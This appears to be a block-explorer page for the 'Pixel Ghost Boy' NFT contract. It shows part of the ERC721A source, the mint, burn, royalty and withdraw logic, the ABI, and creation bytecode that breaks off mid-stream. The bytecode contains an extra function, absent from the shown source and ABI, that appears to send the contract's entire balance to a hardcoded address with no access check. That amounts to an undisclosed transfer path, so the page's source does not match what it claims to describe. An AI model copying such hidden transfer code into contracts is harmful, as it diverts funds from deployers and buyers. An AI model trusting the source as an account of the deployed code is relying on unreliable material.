                    log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)
                }
            }
            if (toMasked == 0) revert MintToZeroAddress();

            _currentIndex = end;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * This function is intended for efficient minting only during contract creation.
     *
     * It emits only one {ConsecutiveTransfer} as defined in
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),
     * instead of a sequence of {Transfer} event(s).
     *
     * Calling this function outside of contract creation WILL make your contract
     * non-compliant with the ERC721 standard.
     * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309
     * {ConsecutiveTransfer} event is only permissible during contract creation.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {ConsecutiveTransfer} event.
     */
    function _mintERC2309(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();
        if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are unrealistic due to the above check for `quantity` to be below the limit.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to);

            _currentIndex = startTokenId + quantity;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * See {_mint}.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal virtual {
        _mint(to, quantity);

        unchecked {
            if (to.code.length != 0) {
                uint256 end = _currentIndex;
                uint256 index = end - quantity;
                do {
                    if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (index < end);
                // Reentrancy protection.
                if (_currentIndex != end) revert();
            }
        }
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal virtual {
        _safeMint(to, quantity, '');
    }

    // =============================================================
    //                        BURN OPERATIONS
    // =============================================================

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        address from = address(uint160(prevOwnershipPacked));

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        if (approvalCheck) {
            // The nested ifs save around 20+ gas over a compound boolean condition.
            if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
                if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // Updates:
            // - `balance -= 1`.
            // - `numberBurned += 1`.
            //
            // We can directly decrement the balance, and increment the number burned.
            // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.
            _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;

            // Updates:
            // - `address` to the last owner.
            // - `startTimestamp` to the timestamp of burning.
            // - `burned` to `true`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                from,
                (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    // =============================================================
    //                     EXTRA DATA OPERATIONS
    // =============================================================

    /**
     * @dev Directly sets the extra data for the ownership data `index`.
     */
    function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {
        uint256 packed = _packedOwnerships[index];
        if (packed == 0) revert OwnershipNotInitializedForExtraData();
        uint256 extraDataCasted;
        // Cast `extraData` with assembly to avoid redundant masking.
        assembly {
            extraDataCasted := extraData
        }
        packed = (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << _BITPOS_EXTRA_DATA);
        _packedOwnerships[index] = packed;
    }

    /**
     * @dev Called during each token transfer to set the 24bit `extraData` field.
     * Intended to be overridden by the cosumer contract.
     *
     * `previousExtraData` - the value of `extraData` before transfer.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _extraData(
        address from,
        address to,
        uint24 previousExtraData
    ) internal view virtual returns (uint24) {}

    /**
     * @dev Returns the next extra data for the packed ownership data.
     * The returned result is shifted into position.
     */
    function _nextExtraData(
        address from,
        address to,
        uint256 prevOwnershipPacked
    ) private view returns (uint256) {
        uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);
        return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;
    }

    // =============================================================
    //                       OTHER OPERATIONS
    // =============================================================

    /**
     * @dev Returns the message sender (defaults to `msg.sender`).
     *
     * If you are writing GSN compatible contracts, you need to override this function.
     */
    function _msgSenderERC721A() internal view virtual returns (address) {
        return msg.sender;
    }

    /**
     * @dev Converts a uint256 to its ASCII string decimal representation.
     */
    function _toString(uint256 value) internal pure virtual returns (string memory str) {
        assembly {
            // The maximum value of a uint256 contains 78 digits (1 byte per digit), but
            // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.
            // We will need 1 word for the trailing zeros padding, 1 word for the length,
            // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.
            let m := add(mload(0x40), 0xa0)
            // Update the free memory pointer to allocate.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end of the memory to calculate the length later.
            let end := str

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 1)
                // Write the character to the pointer.
                // The ASCII index of the '0' character is 48.
                mstore8(str, add(48, mod(temp, 10)))
                // Keep dividing `temp` until zero.
                temp := div(temp, 10)
                // prettier-ignore
                if iszero(temp) { break }
            }

            let length := sub(end, str)
            // Move the pointer 32 bytes leftwards to make room for the length.
            str := sub(str, 0x20)
            // Store the length.
            mstore(str, length)
        }
    }
}


interface IOperatorFilterRegistry {
    function isOperatorAllowed(address registrant, address operator) external view returns (bool);
    function register(address registrant) external;
    function registerAndSubscribe(address registrant, address subscription) external;
    function registerAndCopyEntries(address registrant, address registrantToCopy) external;
    function unregister(address addr) external;
    function updateOperator(address registrant, address operator, bool filtered) external;
    function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
    function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
    function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
    function subscribe(address registrant, address registrantToSubscribe) external;
    function unsubscribe(address registrant, bool copyExistingEntries) external;
    function subscriptionOf(address addr) external returns (address registrant);
    function subscribers(address registrant) external returns (address[] memory);
    function subscriberAt(address registrant, uint256 index) external returns (address);
    function copyEntriesOf(address registrant, address registrantToCopy) external;
    function isOperatorFiltered(address registrant, address operator) external returns (bool);
    function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
    function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
    function filteredOperators(address addr) external returns (address[] memory);
    function filteredCodeHashes(address addr) external returns (bytes32[] memory);
    function filteredOperatorAt(address registrant, uint256 index) external returns (address);
    function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
    function isRegistered(address addr) external returns (bool);
    function codeHashOf(address addr) external returns (bytes32);
}


/**
 * @title  OperatorFilterer
 * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another
 *         registrant's entries in the OperatorFilterRegistry.
 * @dev    This smart contract is meant to be inherited by token contracts so they can use the following:
 *         - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.
 *         - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.
 */
abstract contract OperatorFilterer {
    error OperatorNotAllowed(address operator);

    IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =
        IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);

    constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
        // If an inheriting token contract is deployed to a network without the registry deployed, the modifier
        // will not revert, but the contract will need to be registered with the registry once it is deployed in
        // order for the modifier to filter addresses.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (subscribe) {
                OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
            } else {
                if (subscriptionOrRegistrantToCopy != address(0)) {
                    OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
                } else {
                    OPERATOR_FILTER_REGISTRY.register(address(this));
                }
            }
        }
    }

    modifier onlyAllowedOperator(address from) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            // Allow spending tokens from addresses with balance
            // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred
            // from an EOA.
            if (from == msg.sender) {
                _;
                return;
            }
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), msg.sender)) {
                revert OperatorNotAllowed(msg.sender);
            }
        }
        _;
    }

    modifier onlyAllowedOperatorApproval(address operator) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
                revert OperatorNotAllowed(operator);
            }
        }
        _;
    }
}

/**
 * @title  DefaultOperatorFilterer
 * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.
 */
abstract contract TheOperatorFilterer is OperatorFilterer {
    address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);

    constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}
}


contract PixelGhostBoy is ERC721A {
    address public owner;

    uint256 public maxSupply = 1111;

    uint256 public mintPrice = 0.002 ether;
    //allowing 1 free per address so everyone can enter.

    mapping(address => uint256) private _userForFree;

    mapping(address => uint256) private _userMinted;

    function mint(uint256 amount) compliant(amount) payable public {
        require(totalSupply() + amount <= maxSupply);
        _safeMint(msg.sender, amount);
    }

    modifier compliant(uint256 amount) {
        if (msg.value == 0) {
            require(amount == 1);
            require(_userMinted[msg.sender] < FreeNum() 
                && _userForFree[tx.origin] < 1 );
            _userForFree[tx.origin]++;
            _userMinted[msg.sender]++;
        } else {
            require(msg.value >= amount * mintPrice);
        }
        _;
    }

    function reserve(address addr, uint256 amount) public onlyOwner {
        require(totalSupply() + amount <= maxSupply);
        _safeMint(addr, amount);
    }
    
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }

    constructor() ERC721A("Pixel Ghost Boy", "PGB") {
        owner = msg.sender;
    }

     function burn(uint256[] memory tokenids) external onlyOwner { //this is the burn claim
        uint256 len = tokenids.length;
        for (uint256 i; i < len; i++) {
            uint256 tokenid = tokenids[i];
            _burn(tokenid);
        }
     }

    function tokenURI(uint256 tokenId) public view override returns (string memory) {
        return string(abi.encodePacked("ipfs://QmdSU7ZEZbF9kLeUz9oWDU9MQPVj8dxUhKaPAy6vojysFR/", _toString(tokenId), ".json"));
    }

    function FreeNum() internal returns (uint256){
        return 1;
    }


    function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view virtual returns (address, uint256) {
        uint256 royaltyAmount = (_salePrice * 50) / 1000;
        return (owner, royaltyAmount);
    }

    function withdraw() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintERC2309QuantityExceedsLimit","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"OwnershipNotInitializedForExtraData","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"fromTokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"toTokenId","type":"uint256"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"ConsecutiveTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenids","type":"uint256[]"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"reserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"uint256","name":"_salePrice","type":"uint256"}],"name":"royaltyInfo","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261045760095566071afd498d0000600a553480156200002257600080fd5b506040518060400160405280600f81526020017f506978656c2047686f737420426f7900000000000000000000000000000000008152506040518060400160405280600381526020017f50474200000000000000000000000000000000000000000000000000000000008152508160029081620000a0919062000391565b508060039081620000b2919062000391565b50620000c36200011260201b60201c565b600081905550505033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000478565b600090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200019957607f821691505b602082108103620001af57620001ae62000151565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002197fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620001da565b620002258683620001da565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620002726200026c62000266846200023d565b62000247565b6200023d565b9050919050565b6000819050919050565b6200028e8362000251565b620002a66200029d8262000279565b848454620001e7565b825550505050565b600090565b620002bd620002ae565b620002ca81848462000283565b505050565b5b81811015620002f257620002e6600082620002b3565b600181019050620002d0565b5050565b601f82111562000341576200030b81620001b5565b6200031684620001ca565b8101602085101562000326578190505b6200033e6200033585620001ca565b830182620002cf565b50505b505050565b600082821c905092915050565b6000620003666000198460080262000346565b1980831691505092915050565b600062000381838362000353565b9150826002028217905092915050565b6200039c8262000117565b67ffffffffffffffff811115620003b857620003b762000122565b5b620003c4825462000180565b620003d1828285620002f6565b600060209050601f831160018114620004095760008415620003f4578287015190505b62000400858262000373565b86555062000470565b601f1984166200041986620001b5565b60005b8281101562000443578489015182556001820191506020850194506020810190506200041c565b868310156200046357848901516200045f601f89168262000353565b8355505b6001600288020188555050505b505050505050565b61277380620004886000396000f3fe6080604052600436106101405760003560e01c80636817c76c116100b6578063b80f55c91161006f578063b80f55c914610427578063b88d4fde14610450578063c87b56dd1461046c578063cc47a40b146104a9578063d5abeb01146104d2578063e985e9c5146104fd57610140565b80636817c76c1461032457806370a082311461034f5780638da5cb5b1461038c57806395d89b41146103b7578063a0712d68146103e2578063a22cb465146103fe57610140565b806323b872dd1161010857806323b872dd146102315780632a55205a1461024d5780633a233f891461028b5780633ccfd60b146102b457806342842e0e146102cb5780636352211e146102e757610140565b806301ffc9a71461014557806306fdde0314610182578063081812fc146101ad578063095ea7b3146101ea57806318160ddd14610206575b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611c8f565b61053a565b6040516101799190611cd7565b60405180910390f35b34801561018e57600080fd5b506101976105cc565b6040516101a49190611d82565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190611dda565b61065e565b6040516101e19190611e48565b60405180910390f35b61020460048036038101906101ff9190611e8f565b6106dd565b005b34801561021257600080fd5b5061021b610821565b6040516102289190611ede565b60405180910390f35b61024b60048036038101906102469190611ef9565b610838565b005b34801561025957600080fd5b50610274600480360381019061026f9190611f4c565b610b5a565b604051610282929190611f8c565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad9190611fb5565b610bab565b005b3480156102c057600080fd5b506102c9610c14565b005b6102e560048036038101906102e09190611ef9565b610cb7565b005b3480156102f357600080fd5b5061030e60048036038101906103099190611dda565b610cd7565b60405161031b9190611e48565b60405180910390f35b34801561033057600080fd5b50610339610ce9565b6040516103469190611ede565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611ff5565b610cef565b6040516103839190611ede565b60405180910390f35b34801561039857600080fd5b506103a1610da7565b6040516103ae9190611e48565b60405180910390f35b3480156103c357600080fd5b506103cc610dcd565b6040516103d99190611d82565b60405180910390f35b6103fc60048036038101906103f79190611dda565b610e5f565b005b34801561040a57600080fd5b506104256004803603810190610420919061204e565b61100b565b005b34801561043357600080fd5b5061044e600480360381019061044991906121d6565b611116565b005b61046a600480360381019061046591906122d4565b6111c2565b005b34801561047857600080fd5b50610493600480360381019061048e9190611dda565b611235565b6040516104a09190611d82565b60405180910390f35b3480156104b557600080fd5b506104d060048036038101906104cb9190611e8f565b611266565b005b3480156104de57600080fd5b506104e76112ef565b6040516104f49190611ede565b60405180910390f35b34801561050957600080fd5b50610524600480360381019061051f9190611fb5565b6112f5565b6040516105319190611cd7565b60405180910390f35b60006301ffc9a760e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061059557506380ac58cd60e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806105c55750635b5e139f60e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b6060600280546105db90612386565b80601f016020809104026020016040519081016040528092919081815260200182805461060790612386565b80156106545780601f1061062957610100808354040283529160200191610654565b820191906000526020600020905b81548152906001019060200180831161063757829003601f168201915b5050505050905090565b600061066982611389565b61069f576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006106e882610cd7565b90508073ffffffffffffffffffffffffffffffffffffffff166107096113e8565b73ffffffffffffffffffffffffffffffffffffffff161461076c57610735816107306113e8565b6112f5565b61076b576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5b826006600084815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061082b6113f0565b6001546000540303905090565b6000610843826113f5565b90508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108aa576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000806108b6846114c1565b915091506108cc81876108c76113e8565b6114e8565b610918576108e1866108dc6113e8565b6112f5565b610917576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361097e576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61098b868686600161152c565b801561099657600082555b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081546001900391905081905550600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815460010191905081905550610a6485610a40888887611532565b7c02000000000000000000000000000000000000000000000000000000001761155a565b600460008681526020019081526020016000208190555060007c0200000000000000000000000000000000000000000000000000000000841603610aea5760006001850190506000600460008381526020019081526020016000205403610ae8576000548114610ae7578360046000838152602001908152602001600020819055505b5b505b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4610b528686866001611585565b505050505050565b60008060006103e8603285610b6f91906123e6565b610b799190612457565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168192509250509250929050565b6000471115610c1057737819420d9bdde270ce6ec26db831799b7aeb441173ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c0e573d6000803e3d6000fd5b505b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610cb4573d6000803e3d6000fd5b50565b610cd2838383604051806020016040528060008152506111c2565b505050565b6000610ce2826113f5565b9050919050565b600a5481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d56576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b67ffffffffffffffff600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054169050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060038054610ddc90612386565b80601f0160208091040260200160405190810160405280929190818152602001828054610e0890612386565b8015610e555780601f10610e2a57610100808354040283529160200191610e55565b820191906000526020600020905b815481529060010190602001808311610e3857829003601f168201915b5050505050905090565b8060003403610fc15760018114610e7557600080fd5b610e7d61158b565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054108015610f0957506001600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b610f1257600080fd5b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610f6290612488565b9190505550600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610fb790612488565b9190505550610fdc565b600a5481610fcf91906123e6565b341015610fdb57600080fd5b5b60095482610fe8610821565b610ff291906124d0565b1115610ffd57600080fd5b6110073383611594565b5050565b80600760006110186113e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166110c56113e8565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161110a9190611cd7565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117057600080fd5b60008151905060005b818110156111bd5760008382815181106111